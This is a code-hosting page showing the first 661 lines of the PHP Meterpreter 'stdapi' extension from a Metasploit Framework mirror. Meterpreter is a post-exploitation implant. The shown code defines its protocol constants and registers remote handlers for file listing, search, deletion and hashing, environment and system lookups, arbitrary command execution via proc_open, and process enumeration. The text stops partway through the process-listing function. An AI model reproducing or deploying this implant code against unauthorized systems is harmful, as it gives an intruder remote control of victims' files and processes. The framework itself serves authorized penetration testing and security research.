PageRenderTime 61ms CodeModel.GetById 26ms RepoModel.GetById 1ms app.codeStats 0ms

/data/meterpreter/ext_server_stdapi.php

https://bitbucket.org/technopunk2099/metasploit-framework
PHP | 1074 lines | 763 code | 132 blank | 179 comment | 133 complexity | 6cef0e93d4ffc0237b1c726c4271b31c MD5 | raw file
Possible License(s): BSD-3-Clause, Apache-2.0, LGPL-2.1, GPL-2.0, MIT
  1. #<?php
  2. ##
  3. # STDAPI
  4. ##
  5. ##
  6. # General
  7. ##
  8. define("TLV_TYPE_HANDLE", TLV_META_TYPE_UINT | 600);
  9. define("TLV_TYPE_INHERIT", TLV_META_TYPE_BOOL | 601);
  10. define("TLV_TYPE_PROCESS_HANDLE", TLV_META_TYPE_UINT | 630);
  11. define("TLV_TYPE_THREAD_HANDLE", TLV_META_TYPE_UINT | 631);
  12. ##
  13. # Fs
  14. ##
  15. define("TLV_TYPE_DIRECTORY_PATH", TLV_META_TYPE_STRING | 1200);
  16. define("TLV_TYPE_FILE_NAME", TLV_META_TYPE_STRING | 1201);
  17. define("TLV_TYPE_FILE_PATH", TLV_META_TYPE_STRING | 1202);
  18. define("TLV_TYPE_FILE_MODE", TLV_META_TYPE_STRING | 1203);
  19. define("TLV_TYPE_FILE_SIZE", TLV_META_TYPE_UINT | 1204);
  20. define("TLV_TYPE_STAT_BUF", TLV_META_TYPE_COMPLEX | 1220);
  21. define("TLV_TYPE_SEARCH_RECURSE", TLV_META_TYPE_BOOL | 1230);
  22. define("TLV_TYPE_SEARCH_GLOB", TLV_META_TYPE_STRING | 1231);
  23. define("TLV_TYPE_SEARCH_ROOT", TLV_META_TYPE_STRING | 1232);
  24. define("TLV_TYPE_SEARCH_RESULTS", TLV_META_TYPE_GROUP | 1233);
  25. ##
  26. # Net
  27. ##
  28. define("TLV_TYPE_HOST_NAME", TLV_META_TYPE_STRING | 1400);
  29. define("TLV_TYPE_PORT", TLV_META_TYPE_UINT | 1401);
  30. define("TLV_TYPE_SUBNET", TLV_META_TYPE_RAW | 1420);
  31. define("TLV_TYPE_NETMASK", TLV_META_TYPE_RAW | 1421);
  32. define("TLV_TYPE_GATEWAY", TLV_META_TYPE_RAW | 1422);
  33. define("TLV_TYPE_NETWORK_ROUTE", TLV_META_TYPE_GROUP | 1423);
  34. define("TLV_TYPE_IP", TLV_META_TYPE_RAW | 1430);
  35. define("TLV_TYPE_MAC_ADDRESS", TLV_META_TYPE_RAW | 1431);
  36. define("TLV_TYPE_MAC_NAME", TLV_META_TYPE_STRING | 1432);
  37. define("TLV_TYPE_NETWORK_INTERFACE", TLV_META_TYPE_GROUP | 1433);
  38. define("TLV_TYPE_SUBNET_STRING", TLV_META_TYPE_STRING | 1440);
  39. define("TLV_TYPE_NETMASK_STRING", TLV_META_TYPE_STRING | 1441);
  40. define("TLV_TYPE_GATEWAY_STRING", TLV_META_TYPE_STRING | 1442);
  41. # Socket
  42. define("TLV_TYPE_PEER_HOST", TLV_META_TYPE_STRING | 1500);
  43. define("TLV_TYPE_PEER_PORT", TLV_META_TYPE_UINT | 1501);
  44. define("TLV_TYPE_LOCAL_HOST", TLV_META_TYPE_STRING | 1502);
  45. define("TLV_TYPE_LOCAL_PORT", TLV_META_TYPE_UINT | 1503);
  46. define("TLV_TYPE_CONNECT_RETRIES", TLV_META_TYPE_UINT | 1504);
  47. define("TLV_TYPE_SHUTDOWN_HOW", TLV_META_TYPE_UINT | 1530);
  48. ##
  49. # Sys
  50. ##
  51. define("PROCESS_EXECUTE_FLAG_HIDDEN", (1 << 0));
  52. define("PROCESS_EXECUTE_FLAG_CHANNELIZED", (1 << 1));
  53. define("PROCESS_EXECUTE_FLAG_SUSPENDED", (1 << 2));
  54. define("PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN", (1 << 3));
  55. # Registry
  56. define("TLV_TYPE_HKEY", TLV_META_TYPE_UINT | 1000);
  57. define("TLV_TYPE_ROOT_KEY", TLV_TYPE_HKEY);
  58. define("TLV_TYPE_BASE_KEY", TLV_META_TYPE_STRING | 1001);
  59. define("TLV_TYPE_PERMISSION", TLV_META_TYPE_UINT | 1002);
  60. define("TLV_TYPE_KEY_NAME", TLV_META_TYPE_STRING | 1003);
  61. define("TLV_TYPE_VALUE_NAME", TLV_META_TYPE_STRING | 1010);
  62. define("TLV_TYPE_VALUE_TYPE", TLV_META_TYPE_UINT | 1011);
  63. define("TLV_TYPE_VALUE_DATA", TLV_META_TYPE_RAW | 1012);
  64. # Config
  65. define("TLV_TYPE_COMPUTER_NAME", TLV_META_TYPE_STRING | 1040);
  66. define("TLV_TYPE_OS_NAME", TLV_META_TYPE_STRING | 1041);
  67. define("TLV_TYPE_USER_NAME", TLV_META_TYPE_STRING | 1042);
  68. define("DELETE_KEY_FLAG_RECURSIVE", (1 << 0));
  69. # Process
  70. define("TLV_TYPE_BASE_ADDRESS", TLV_META_TYPE_UINT | 2000);
  71. define("TLV_TYPE_ALLOCATION_TYPE", TLV_META_TYPE_UINT | 2001);
  72. define("TLV_TYPE_PROTECTION", TLV_META_TYPE_UINT | 2002);
  73. define("TLV_TYPE_PROCESS_PERMS", TLV_META_TYPE_UINT | 2003);
  74. define("TLV_TYPE_PROCESS_MEMORY", TLV_META_TYPE_RAW | 2004);
  75. define("TLV_TYPE_ALLOC_BASE_ADDRESS", TLV_META_TYPE_UINT | 2005);
  76. define("TLV_TYPE_MEMORY_STATE", TLV_META_TYPE_UINT | 2006);
  77. define("TLV_TYPE_MEMORY_TYPE", TLV_META_TYPE_UINT | 2007);
  78. define("TLV_TYPE_ALLOC_PROTECTION", TLV_META_TYPE_UINT | 2008);
  79. define("TLV_TYPE_PID", TLV_META_TYPE_UINT | 2300);
  80. define("TLV_TYPE_PROCESS_NAME", TLV_META_TYPE_STRING | 2301);
  81. define("TLV_TYPE_PROCESS_PATH", TLV_META_TYPE_STRING | 2302);
  82. define("TLV_TYPE_PROCESS_GROUP", TLV_META_TYPE_GROUP | 2303);
  83. define("TLV_TYPE_PROCESS_FLAGS", TLV_META_TYPE_UINT | 2304);
  84. define("TLV_TYPE_PROCESS_ARGUMENTS", TLV_META_TYPE_STRING | 2305);
  85. define("TLV_TYPE_IMAGE_FILE", TLV_META_TYPE_STRING | 2400);
  86. define("TLV_TYPE_IMAGE_FILE_PATH", TLV_META_TYPE_STRING | 2401);
  87. define("TLV_TYPE_PROCEDURE_NAME", TLV_META_TYPE_STRING | 2402);
  88. define("TLV_TYPE_PROCEDURE_ADDRESS", TLV_META_TYPE_UINT | 2403);
  89. define("TLV_TYPE_IMAGE_BASE", TLV_META_TYPE_UINT | 2404);
  90. define("TLV_TYPE_IMAGE_GROUP", TLV_META_TYPE_GROUP | 2405);
  91. define("TLV_TYPE_IMAGE_NAME", TLV_META_TYPE_STRING | 2406);
  92. define("TLV_TYPE_THREAD_ID", TLV_META_TYPE_UINT | 2500);
  93. define("TLV_TYPE_THREAD_PERMS", TLV_META_TYPE_UINT | 2502);
  94. define("TLV_TYPE_EXIT_CODE", TLV_META_TYPE_UINT | 2510);
  95. define("TLV_TYPE_ENTRY_POINT", TLV_META_TYPE_UINT | 2511);
  96. define("TLV_TYPE_ENTRY_PARAMETER", TLV_META_TYPE_UINT | 2512);
  97. define("TLV_TYPE_CREATION_FLAGS", TLV_META_TYPE_UINT | 2513);
  98. define("TLV_TYPE_REGISTER_NAME", TLV_META_TYPE_STRING | 2540);
  99. define("TLV_TYPE_REGISTER_SIZE", TLV_META_TYPE_UINT | 2541);
  100. define("TLV_TYPE_REGISTER_VALUE_32", TLV_META_TYPE_UINT | 2542);
  101. define("TLV_TYPE_REGISTER", TLV_META_TYPE_GROUP | 2550);
  102. ##
  103. # Ui
  104. ##
  105. define("TLV_TYPE_IDLE_TIME", TLV_META_TYPE_UINT | 3000);
  106. define("TLV_TYPE_KEYS_DUMP", TLV_META_TYPE_STRING | 3001);
  107. define("TLV_TYPE_DESKTOP", TLV_META_TYPE_STRING | 3002);
  108. ##
  109. # Event Log
  110. ##
  111. define("TLV_TYPE_EVENT_SOURCENAME", TLV_META_TYPE_STRING | 4000);
  112. define("TLV_TYPE_EVENT_HANDLE", TLV_META_TYPE_UINT | 4001);
  113. define("TLV_TYPE_EVENT_NUMRECORDS", TLV_META_TYPE_UINT | 4002);
  114. define("TLV_TYPE_EVENT_READFLAGS", TLV_META_TYPE_UINT | 4003);
  115. define("TLV_TYPE_EVENT_RECORDOFFSET", TLV_META_TYPE_UINT | 4004);
  116. define("TLV_TYPE_EVENT_RECORDNUMBER", TLV_META_TYPE_UINT | 4006);
  117. define("TLV_TYPE_EVENT_TIMEGENERATED", TLV_META_TYPE_UINT | 4007);
  118. define("TLV_TYPE_EVENT_TIMEWRITTEN", TLV_META_TYPE_UINT | 4008);
  119. define("TLV_TYPE_EVENT_ID", TLV_META_TYPE_UINT | 4009);
  120. define("TLV_TYPE_EVENT_TYPE", TLV_META_TYPE_UINT | 4010);
  121. define("TLV_TYPE_EVENT_CATEGORY", TLV_META_TYPE_UINT | 4011);
  122. define("TLV_TYPE_EVENT_STRING", TLV_META_TYPE_STRING | 4012);
  123. define("TLV_TYPE_EVENT_DATA", TLV_META_TYPE_RAW | 4013);
  124. ##
  125. # Power
  126. ##
  127. define("TLV_TYPE_POWER_FLAGS", TLV_META_TYPE_UINT | 4100);
  128. define("TLV_TYPE_POWER_REASON", TLV_META_TYPE_UINT | 4101);
  129. ##
  130. # Errors
  131. ##
  132. # Special return value to match up with Windows error codes for network
  133. # errors.
  134. define("ERROR_CONNECTION_ERROR", 10000);
  135. # Wrap everything in checks for existence of the new functions in case we get
  136. # eval'd twice
  137. my_print("Evaling stdapi");
  138. ##
  139. # Search Helpers
  140. ##
  141. # Stolen from user comments in http://us2.php.net/manual/en/function.glob.php
  142. # The recursiveness was busted, fixed it by adding the path to the filename
  143. # when checking whether we're looking at a directory.
  144. # Used by stdapi_fs_search
  145. /**#@+
  146. * Extra GLOB constant for safe_glob()
  147. */
  148. define('GLOB_NODIR',256);
  149. define('GLOB_PATH',512);
  150. define('GLOB_NODOTS',1024);
  151. define('GLOB_RECURSE',2048);
  152. /**#@-*/
  153. /**
  154. * A safe empowered glob().
  155. *
  156. * Function glob() is prohibited on some server (probably in safe mode)
  157. * (Message "Warning: glob() has been disabled for security reasons in
  158. * (script) on line (line)") for security reasons as stated on:
  159. * http://seclists.org/fulldisclosure/2005/Sep/0001.html
  160. *
  161. * safe_glob() intends to replace glob() using readdir() & fnmatch() instead.
  162. * Supported flags: GLOB_MARK, GLOB_NOSORT, GLOB_ONLYDIR
  163. * Additional flags: GLOB_NODIR, GLOB_PATH, GLOB_NODOTS, GLOB_RECURSE
  164. * (not original glob() flags)
  165. * @author BigueNique AT yahoo DOT ca
  166. * @updates
  167. * - 080324 Added support for additional flags: GLOB_NODIR, GLOB_PATH,
  168. * GLOB_NODOTS, GLOB_RECURSE
  169. */
  170. if (!function_exists('safe_glob')) {
  171. function safe_glob($pattern, $flags=0) {
  172. $split=explode('/',str_replace('\\','/',$pattern));
  173. $mask=array_pop($split);
  174. $path=implode('/',$split);
  175. if (($dir=opendir($path))!==false) {
  176. $glob=array();
  177. while (($file=readdir($dir))!==false) {
  178. // Recurse subdirectories (GLOB_RECURSE)
  179. if (
  180. (
  181. $flags&GLOB_RECURSE) && is_dir($path."/".$file)
  182. && (!in_array($file,array('.','..'))
  183. # don't follow links to avoid infinite recursion
  184. && (!is_link($path."/".$file))
  185. )
  186. ) {
  187. $glob = array_merge($glob, array_prepend(safe_glob($path.'/'.$file.'/'.$mask, $flags),
  188. ($flags&GLOB_PATH?'':$file.'/')));
  189. }
  190. // Match file mask
  191. if (fnmatch($mask,$file)) {
  192. if ( ( (!($flags&GLOB_ONLYDIR)) || is_dir("$path/$file") )
  193. && ( (!($flags&GLOB_NODIR)) || (!is_dir($path.'/'.$file)) )
  194. && ( (!($flags&GLOB_NODOTS)) || (!in_array($file,array('.','..'))) ) )
  195. $glob[] = ($flags&GLOB_PATH?$path.'/':'') . $file . ($flags&GLOB_MARK?'/':'');
  196. }
  197. }
  198. closedir($dir);
  199. if (!($flags&GLOB_NOSORT)) sort($glob);
  200. return $glob;
  201. } else {
  202. return false;
  203. }
  204. }
  205. }
  206. /**
  207. * A better "fnmatch" alternative for windows that converts a fnmatch
  208. * pattern into a preg one. It should work on PHP >= 4.0.0.
  209. * @author soywiz at php dot net
  210. * @since 17-Jul-2006 10:12
  211. */
  212. if (!function_exists('fnmatch')) {
  213. function fnmatch($pattern, $string) {
  214. return @preg_match('/^' . strtr(addcslashes($pattern, '\\/.+^$(){}=!<>|'), array('*' => '.*', '?' => '.?')) . '$/i', $string);
  215. }
  216. }
  217. /**
  218. * Prepends $string to each element of $array
  219. * If $deep is true, will indeed also apply to sub-arrays
  220. * @author BigueNique AT yahoo DOT ca
  221. * @since 080324
  222. */
  223. if (!function_exists('array_prepend')) {
  224. function array_prepend($array, $string, $deep=false) {
  225. if(empty($array)||empty($string)) return $array;
  226. foreach($array as $key => $element)
  227. if(is_array($element))
  228. if($deep)
  229. $array[$key] = array_prepend($element,$string,$deep);
  230. else
  231. trigger_error('array_prepend: array element',E_USER_WARNING);
  232. else
  233. $array[$key] = $string.$element;
  234. return $array;
  235. }
  236. }
  237. ## END Search Helpers
  238. if (!function_exists('cononicalize_path')) {
  239. function cononicalize_path($path) {
  240. $path = str_replace(array("/", "\\"), DIRECTORY_SEPARATOR, $path);
  241. return $path;
  242. }
  243. }
  244. #
  245. # Need to nail down what this should actually do. Ruby's File.expand_path is
  246. # for cononicalizing a path (e.g., removing /./ and ../) and expanding "~" into
  247. # a path to the current user's homedir. In contrast, Meterpreter has
  248. # traditionally used this to get environment variables from the server.
  249. #
  250. if (!function_exists('stdapi_fs_file_expand_path')) {
  251. register_command('stdapi_fs_file_expand_path');
  252. function stdapi_fs_file_expand_path($req, &$pkt) {
  253. my_print("doing expand_path");
  254. $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
  255. $env = $path_tlv['value'];
  256. my_print("Request for: '$env'");
  257. if (!is_windows()) {
  258. # Handle some basic windows-isms when we can
  259. switch ($env) {
  260. case "%COMSPEC%":
  261. $path = "/bin/sh";
  262. break;
  263. case "%TEMP%":
  264. case "%TMP%":
  265. $path = "/tmp";
  266. break;
  267. default:
  268. # Don't know what the user meant, just try it as an environment
  269. # variable and hope for the best.
  270. $path = getenv($env);
  271. }
  272. } else {
  273. $path = getenv($env);
  274. if (empty($path) and ($env == "%COMSPEC%")) {
  275. # hope it's in the path
  276. $path = "cmd.exe";
  277. }
  278. }
  279. my_print("Returning with an answer of: '$path'");
  280. if ($path) {
  281. packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_PATH, $path));
  282. return ERROR_SUCCESS;
  283. }
  284. return ERROR_FAILURE;
  285. }
  286. }
  287. if (!function_exists('stdapi_fs_delete_dir')) {
  288. register_command('stdapi_fs_delete_dir');
  289. function stdapi_fs_delete_dir($req, &$pkt) {
  290. my_print("doing rmdir");
  291. $path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
  292. $ret = @rmdir(cononicalize_path($path_tlv['value']));
  293. return $ret ? ERROR_SUCCESS : ERROR_FAILURE;
  294. }
  295. }
  296. if (!function_exists('stdapi_fs_mkdir')) {
  297. register_command('stdapi_fs_mkdir');
  298. function stdapi_fs_mkdir($req, &$pkt) {
  299. my_print("doing mkdir");
  300. $path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
  301. $ret = @mkdir(cononicalize_path($path_tlv['value']));
  302. return $ret ? ERROR_SUCCESS : ERROR_FAILURE;
  303. }
  304. }
  305. # works
  306. if (!function_exists('stdapi_fs_chdir')) {
  307. register_command('stdapi_fs_chdir');
  308. function stdapi_fs_chdir($req, &$pkt) {
  309. my_print("doing chdir");
  310. $path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
  311. $ret = @chdir(cononicalize_path($path_tlv['value']));
  312. return $ret ? ERROR_SUCCESS : ERROR_FAILURE;
  313. }
  314. }
  315. # works
  316. if (!function_exists('stdapi_fs_delete')) {
  317. register_command('stdapi_fs_delete');
  318. function stdapi_fs_delete($req, &$pkt) {
  319. my_print("doing delete");
  320. $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_NAME);
  321. $ret = @unlink(cononicalize_path($path_tlv['value']));
  322. return $ret ? ERROR_SUCCESS : ERROR_FAILURE;
  323. }
  324. }
  325. # works
  326. if (!function_exists('stdapi_fs_getwd')) {
  327. register_command('stdapi_fs_getwd');
  328. function stdapi_fs_getwd($req, &$pkt) {
  329. my_print("doing pwd");
  330. packet_add_tlv($pkt, create_tlv(TLV_TYPE_DIRECTORY_PATH, getcwd()));
  331. return ERROR_SUCCESS;
  332. }
  333. }
  334. # works partially, need to get the path argument to mean the same thing as in
  335. # windows
  336. if (!function_exists('stdapi_fs_ls')) {
  337. register_command('stdapi_fs_ls');
  338. function stdapi_fs_ls($req, &$pkt) {
  339. my_print("doing ls");
  340. $path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
  341. $path = cononicalize_path($path_tlv['value']);
  342. $dir_handle = @opendir($path);
  343. if ($dir_handle) {
  344. while ($file = readdir($dir_handle)) {
  345. if ($file != "." && $file != "..") {
  346. #my_print("Adding file $file");
  347. packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $file));
  348. packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_PATH, $path . DIRECTORY_SEPARATOR . $file));
  349. $st = stat($path . DIRECTORY_SEPARATOR . $file);
  350. $st_buf = "";
  351. $st_buf .= pack("V", $st['dev']);
  352. $st_buf .= pack("v", $st['ino']);
  353. $st_buf .= pack("v", $st['mode']);
  354. $st_buf .= pack("v", $st['nlink']);
  355. $st_buf .= pack("v", $st['uid']);
  356. $st_buf .= pack("v", $st['gid']);
  357. $st_buf .= pack("v", 0);
  358. $st_buf .= pack("V", $st['rdev']);
  359. $st_buf .= pack("V", $st['size']);
  360. $st_buf .= pack("V", $st['atime']);
  361. $st_buf .= pack("V", $st['mtime']);
  362. $st_buf .= pack("V", $st['ctime']);
  363. $st_buf .= pack("V", $st['blksize']);
  364. $st_buf .= pack("V", $st['blocks']);
  365. packet_add_tlv($pkt, create_tlv(TLV_TYPE_STAT_BUF, $st_buf));
  366. }
  367. }
  368. closedir($dir_handle);
  369. return ERROR_SUCCESS;
  370. } else {
  371. return ERROR_FAILURE;
  372. }
  373. }
  374. }
  375. if (!function_exists('stdapi_fs_separator')) {
  376. register_command('stdapi_fs_separator');
  377. function stdapi_fs_separator($req, &$pkt) {
  378. packet_add_tlv($pkt, create_tlv(TLV_TYPE_STRING, DIRECTORY_SEPARATOR));
  379. return ERROR_SUCCESS;
  380. }
  381. }
  382. if (!function_exists('stdapi_fs_stat')) {
  383. register_command('stdapi_fs_stat');
  384. function stdapi_fs_stat($req, &$pkt) {
  385. my_print("doing stat");
  386. $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
  387. $path = cononicalize_path($path_tlv['value']);
  388. $st = stat($path);
  389. if ($st) {
  390. $st_buf = "";
  391. $st_buf .= pack("V", $st['dev']);
  392. $st_buf .= pack("v", $st['ino']);
  393. $st_buf .= pack("v", $st['mode']);
  394. $st_buf .= pack("v", $st['nlink']);
  395. $st_buf .= pack("v", $st['uid']);
  396. $st_buf .= pack("v", $st['gid']);
  397. $st_buf .= pack("v", 0);
  398. $st_buf .= pack("V", $st['rdev']);
  399. $st_buf .= pack("V", $st['size']);
  400. $st_buf .= pack("V", $st['atime']);
  401. $st_buf .= pack("V", $st['mtime']);
  402. $st_buf .= pack("V", $st['ctime']);
  403. $st_buf .= pack("V", $st['blksize']);
  404. $st_buf .= pack("V", $st['blocks']);
  405. packet_add_tlv($pkt, create_tlv(TLV_TYPE_STAT_BUF, $st_buf));
  406. return ERROR_SUCCESS;
  407. } else {
  408. return ERROR_FAILURE;
  409. }
  410. }
  411. }
  412. # works
  413. if (!function_exists('stdapi_fs_delete_file')) {
  414. register_command('stdapi_fs_delete_file');
  415. function stdapi_fs_delete_file($req, &$pkt) {
  416. my_print("doing delete");
  417. $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
  418. $path = cononicalize_path($path_tlv['value']);
  419. if ($path && is_file($path)) {
  420. $worked = @unlink($path);
  421. return ($worked ? ERROR_SUCCESS : ERROR_FAILURE);
  422. } else {
  423. return ERROR_FAILURE;
  424. }
  425. }
  426. }
  427. if (!function_exists('stdapi_fs_search')) {
  428. register_command('stdapi_fs_search');
  429. function stdapi_fs_search($req, &$pkt) {
  430. my_print("doing search");
  431. $root_tlv = packet_get_tlv($req, TLV_TYPE_SEARCH_ROOT);
  432. $root = cononicalize_path($root_tlv['value']);
  433. $glob_tlv = packet_get_tlv($req, TLV_TYPE_SEARCH_GLOB);
  434. $glob = cononicalize_path($glob_tlv['value']);
  435. $recurse_tlv = packet_get_tlv($req, TLV_TYPE_SEARCH_RECURSE);
  436. $recurse = $recurse_tlv['value'];
  437. if (!$root) {
  438. $root = '.';
  439. }
  440. my_print("glob: $glob, root: $root, recurse: $recurse");
  441. $flags = GLOB_PATH;
  442. if ($recurse) {
  443. $flags |= GLOB_RECURSE;
  444. }
  445. $files = safe_glob($root ."/". $glob, $flags);
  446. if ($files and is_array($files)) {
  447. dump_array($files);
  448. foreach ($files as $file) {
  449. $file_tlvs = "";
  450. $s = stat($file);
  451. $p = dirname($file);
  452. $f = basename($file);
  453. $file_tlvs .= tlv_pack(create_tlv(TLV_TYPE_FILE_PATH, $p));
  454. $file_tlvs .= tlv_pack(create_tlv(TLV_TYPE_FILE_NAME, $f));
  455. $file_tlvs .= tlv_pack(create_tlv(TLV_TYPE_FILE_SIZE, $s['size']));
  456. packet_add_tlv($pkt, create_tlv(TLV_TYPE_SEARCH_RESULTS, $file_tlvs));
  457. }
  458. }
  459. return ERROR_SUCCESS;
  460. }
  461. }
  462. if (!function_exists('stdapi_fs_md5')) {
  463. register_command("stdapi_fs_md5");
  464. function stdapi_fs_md5($req, &$pkt) {
  465. $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
  466. $path = cononicalize_path($path_tlv['value']);
  467. if (is_callable("md5_file")) {
  468. $md5 = md5_file($path);
  469. } else {
  470. $md5 = md5(file_get_contents($path));
  471. }
  472. $md5 = pack("H*", $md5);
  473. # Ghetto abuse of file name type to indicate the md5 result
  474. packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $md5));
  475. return ERROR_SUCCESS;
  476. }
  477. }
  478. if (!function_exists('stdapi_fs_sha1')) {
  479. register_command("stdapi_fs_sha1");
  480. function stdapi_fs_sha1($req, &$pkt) {
  481. $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
  482. $path = cononicalize_path($path_tlv['value']);
  483. if (is_callable("sha1_file")) {
  484. $sha1 = sha1_file($path);
  485. } else {
  486. $sha1 = sha1(file_get_contents($path));
  487. }
  488. $sha1 = pack("H*", $sha1);
  489. # Ghetto abuse of file name type to indicate the sha1 result
  490. packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $sha1));
  491. return ERROR_SUCCESS;
  492. }
  493. }
  494. # Sys Config
  495. # works
  496. if (!function_exists('stdapi_sys_config_getuid')) {
  497. register_command('stdapi_sys_config_getuid');
  498. function stdapi_sys_config_getuid($req, &$pkt) {
  499. my_print("doing getuid");
  500. if (is_callable('posix_getuid')) {
  501. $uid = posix_getuid();
  502. $pwinfo = posix_getpwuid($uid);
  503. $user = $pwinfo['name'] . " ($uid)";
  504. } else {
  505. # The posix functions aren't available, this is probably windows. Use
  506. # the functions for getting user name and uid based on file ownership
  507. # instead.
  508. $user = get_current_user() . " (" . getmyuid() . ")";
  509. }
  510. packet_add_tlv($pkt, create_tlv(TLV_TYPE_USER_NAME, $user));
  511. return ERROR_SUCCESS;
  512. }
  513. }
  514. # Unimplemented becuase it's unimplementable
  515. #if (!function_exists('stdapi_sys_config_rev2self')) {
  516. #register_command('stdapi_sys_config_rev2self');
  517. #function stdapi_sys_config_rev2self($req, &$pkt) {
  518. # my_print("doing rev2self");
  519. # return ERROR_FAILURE;
  520. #}
  521. #}
  522. # works
  523. if (!function_exists('stdapi_sys_config_sysinfo')) {
  524. register_command('stdapi_sys_config_sysinfo');
  525. function stdapi_sys_config_sysinfo($req, &$pkt) {
  526. my_print("doing sysinfo");
  527. packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMPUTER_NAME, php_uname("n")));
  528. packet_add_tlv($pkt, create_tlv(TLV_TYPE_OS_NAME, php_uname()));
  529. return ERROR_SUCCESS;
  530. }
  531. }
  532. # Global list of processes so we know what to kill when a channel gets closed
  533. $GLOBALS['processes'] = array();
  534. if (!function_exists('stdapi_sys_process_execute')) {
  535. register_command('stdapi_sys_process_execute');
  536. function stdapi_sys_process_execute($req, &$pkt) {
  537. global $channel_process_map, $processes;
  538. my_print("doing execute");
  539. $cmd_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_PATH);
  540. $args_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_ARGUMENTS);
  541. $flags_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_FLAGS);
  542. $cmd = $cmd_tlv['value'];
  543. $args = $args_tlv['value'];
  544. $flags = $flags_tlv['value'];
  545. # If there was no command specified, well, a user sending an empty command
  546. # deserves failure.
  547. my_print("Cmd: $cmd $args");
  548. if (0 > strlen($cmd)) {
  549. return ERROR_FAILURE;
  550. }
  551. $real_cmd = $cmd ." ". $args;
  552. $pipe_desc = array(array('pipe','r'), array('pipe','w'));
  553. if (is_windows()) {
  554. # see http://us2.php.net/manual/en/function.proc-open.php#97012
  555. array_push($pipe_desc, array('pipe','a'));
  556. } else {
  557. array_push($pipe_desc, array('pipe','w'));
  558. }
  559. # Now that we've got the command built, run it. If it worked, we'll send
  560. # back a handle identifier.
  561. $handle = proc_open($real_cmd, $pipe_desc, $pipes);
  562. if (!is_resource($handle)) {
  563. return ERROR_FAILURE;
  564. }
  565. if (is_callable('proc_get_status')) {
  566. $status = proc_get_status($handle);
  567. $pid = $status['pid'];
  568. } else {
  569. $pid = 0;
  570. }
  571. $proc = array( 'handle' => $handle, 'pipes' => $pipes );
  572. packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, $pid));
  573. packet_add_tlv($pkt, create_tlv(TLV_TYPE_PROCESS_HANDLE, count($processes)));
  574. if ($flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) {
  575. my_print("Channelized");
  576. # Then the client wants a channel set up to handle this process' stdio,
  577. # register all the necessary junk to make that happen.
  578. foreach ($pipes as $p) {
  579. register_stream($p);
  580. }
  581. #stream_set_blocking($pipes[0], 1);
  582. #stream_set_blocking($pipes[1], 1);
  583. #stream_set_blocking($pipes[2], 1);
  584. $cid = register_channel($pipes[0], $pipes[1], $pipes[2]);
  585. $channel_process_map[$cid] = $proc;
  586. $proc['cid'] = $cid;
  587. packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid));
  588. #} else {
  589. # Otherwise, don't care about stdin/stdout, just run the command
  590. }
  591. $processes[] = $proc;
  592. return ERROR_SUCCESS;
  593. }
  594. }
  595. if (!function_exists('stdapi_sys_process_close')) {
  596. register_command('stdapi_sys_process_close');
  597. function stdapi_sys_process_close($req, &$pkt) {
  598. global $processes;
  599. my_print("doing process_close");
  600. $handle_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_HANDLE);
  601. if (array_key_exists($handle_tlv['value'], $processes)) {
  602. close_process($processes[$handle_tlv['value']]);
  603. }
  604. return ERROR_SUCCESS;
  605. }
  606. }
  607. if (!function_exists('close_process')) {
  608. function close_process($proc) {
  609. if ($proc) {
  610. my_print("Closing process handle {$proc['handle']}");
  611. # In the case of a channelized process, this will be redundant as the
  612. # channel_close will also try to close all of these handles. There's no
  613. # real harm in that, so go ahead and just always make sure they get
  614. # closed.
  615. foreach ($proc['pipes'] as $f) {
  616. @fclose($f);
  617. }
  618. if (is_callable('proc_get_status')) {
  619. $status = proc_get_status($proc['handle']);
  620. } else {
  621. # fake a running process on php < 4.3
  622. $status = array('running' => true);
  623. }
  624. # proc_close blocks waiting for the child to exit, so if it's still
  625. # running, don't take a chance on deadlock and just sigkill it if we
  626. # can. We can't on php < 4.3, so don't do anything. This will leave
  627. # zombie processes, but that's better than deadlock.
  628. if ($status['running'] == false) {
  629. proc_close($proc['handle']);
  630. } else {
  631. if (is_callable('proc_terminate')) {
  632. proc_terminate($proc['handle'], 9);
  633. }
  634. }
  635. if (array_key_exists('cid', $proc) && $channel_process_map[$proc['cid']]) {
  636. unset($channel_process_map[$proc['cid']]);
  637. }
  638. }
  639. }
  640. }
  641. # Works, but not very portable. There doesn't appear to be a PHP way of
  642. # getting a list of processes, so we just shell out to ps/tasklist.exe. I need
  643. # to decide what options to send to ps for portability and for information
  644. # usefulness.
  645. if (!function_exists('stdapi_sys_process_get_processes')) {
  646. register_command('stdapi_sys_process_get_processes');
  647. function stdapi_sys_process_get_processes($req, &$pkt) {
  648. my_print("doing get_processes");
  649. $list = array();
  650. if (is_windows()) {
  651. # This command produces a line like:
  652. # "tasklist.exe","2264","Console","0","4,556 K","Running","EGYPT-B3E55BF3C\Administrator","0:00:00","OleMainThreadWndName"
  653. $output = my_cmd("tasklist /v /fo csv /nh");
  654. $lines = explode("\n", trim($output));
  655. foreach ($lines as $line) {
  656. $line = trim($line);
  657. #
  658. # Ghetto CSV parsing
  659. #
  660. $pieces = preg_split('/","/', $line);
  661. # Strip off the initial quote on the first and last elements
